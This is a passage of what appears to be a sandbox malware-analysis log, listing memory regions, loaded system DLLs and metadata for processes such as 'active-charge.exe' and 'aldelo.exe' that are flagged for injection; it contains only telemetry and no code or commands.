name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3728 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3729 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3730 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3731 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3732 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3733 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3734 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3735 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3736 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3737 start_va = 0x7f3f0000 end_va = 0x7f4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f3f0000" filename = "" Region: id = 3738 start_va = 0x7f4f0000 end_va = 0x7f512fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f4f0000" filename = "" Region: id = 3739 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3740 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3741 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3742 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3743 start_va = 0x850000 end_va = 0x853fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3744 start_va = 0x860000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 3745 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3746 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3747 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3748 start_va = 0x870000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 3749 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5982 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 5983 start_va = 0x20c0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 5984 start_va = 0x21f0000 end_va = 0x2526fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 259 os_tid = 0xf9c Thread: id = 260 os_tid = 0xf90 Thread: id = 361 os_tid = 0x13c4 Process: id = "59" image_name = "active-charge.exe" filename = "c:\\program files\\microsoft analysis services\\active-charge.exe" page_root = "0x6a10d000" os_pid = "0xf7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft Analysis Services\\active-charge.exe\" " cur_dir = "C:\\Program Files\\Microsoft Analysis Services\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3750 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3751 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3752 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3753 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3754 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3755 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3756 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3757 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3758 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3759 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3760 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3761 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 3762 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3763 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3764 start_va = 0xf90000 end_va = 0xf93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 3765 start_va = 0xfa0000 end_va = 0xfa3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fa0000" filename = "" Region: id = 3766 start_va = 0xfc0000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 3767 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 3768 start_va = 0x1120000 end_va = 0x11dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001120000" filename = "" Region: id = 3769 start_va = 0x1220000 end_va = 0x122ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 3770 start_va = 0x13b0000 end_va = 0x13c6fff monitored = 0 entry_point = 0x13b14a1 region_type = mapped_file name = "active-charge.exe" filename = "\\Program Files\\Microsoft Analysis Services\\active-charge.exe" (normalized: "c:\\program files\\microsoft analysis services\\active-charge.exe") Region: id = 3771 start_va = 0x13d0000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013d0000" filename = "" Region: id = 3772 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3773 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3774 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3775 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3776 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3777 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3778 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3779 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3780 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3781 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3782 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3783 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3784 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3785 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3786 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3787 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3788 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3789 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3790 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3791 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3792 start_va = 0x7fb90000 end_va = 0x7fc8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fb90000" filename = "" Region: id = 3793 start_va = 0x7fc90000 end_va = 0x7fcb2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fc90000" filename = "" Region: id = 3794 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3795 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3796 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3797 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3798 start_va = 0xfb0000 end_va = 0xfb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 3799 start_va = 0x10c0000 end_va = 0x10c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010c0000" filename = "" Region: id = 3800 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3801 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3802 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3803 start_va = 0x10d0000 end_va = 0x10d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010d0000" filename = "" Region: id = 3804 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5964 start_va = 0x10e0000 end_va = 0x10e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010e0000" filename = "" Region: id = 5965 start_va = 0x1230000 end_va = 0x12affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 5966 start_va = 0x27d0000 end_va = 0x2b06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 261 os_tid = 0xf88 Thread: id = 262 os_tid = 0xf80 Thread: id = 362 os_tid = 0x2b4 Process: id = "60" image_name = "aldelo.exe" filename = "c:\\program files\\microsoft.net\\aldelo.exe" page_root = "0x6ab2b000" os_pid = "0xfa0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft.NET\\aldelo.exe\" " cur_dir = "C:\\Program Files\\Microsoft.NET\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3585 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3586 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3587 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3588 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3589 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3590 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3591 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3592 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3593 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3594 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3595 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3596 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3597 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3598 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 3599 start_va = 0xcd0000 end_va = 0xcd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 3600 start_va = 0xce0000 end_va = 0xd9bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 3601 start_va = 0xda0000 end_va = 0xda3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 3602 start_va = 0xdf0000 end_va = 0xeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 3603 start_va = 0xf10000 end_va = 0xf26fff monitored = 0 entry_point = 0xf114a1 region_type = mapped_file name = "aldelo.exe" filename = "\\Program Files\\Microsoft.NET\\aldelo.exe" (normalized: "c:\\program files\\microsoft.net\\aldelo.exe") Region: id = 3604 start_va = 0xf30000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f30000" filename = "" Region: id = 3605 start_va = 0x2450000 end_va = 0x245ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 3606 start_va = 0x24e0000 end_va = 0x24effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 3607 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3608 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3609 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3610 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3611 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3612 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3613 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3614 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3615 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3616 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3617 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3618 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3619 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3620 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3621 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3622 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3623 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3624 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3625 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3626 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3627 start_va = 0x7f100000 end_va = 0x7f1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f100000" filename = "" Region: id = 3628 start_va = 0x7f200000 end_va = 0x7f222fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f200000" filename = "" Region: id = 3629 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3630 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3631 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3632 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3633 start_va = 0xdb0000 end_va = 0xdb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 3634 start_va = 0xdc0000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dc0000" filename = "" Region: id = 3635 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3636 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3637 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3638 start_va = 0xdd0000 end_va = 0xdd0fff monitored = 1 entry_point = 0x0 region_type 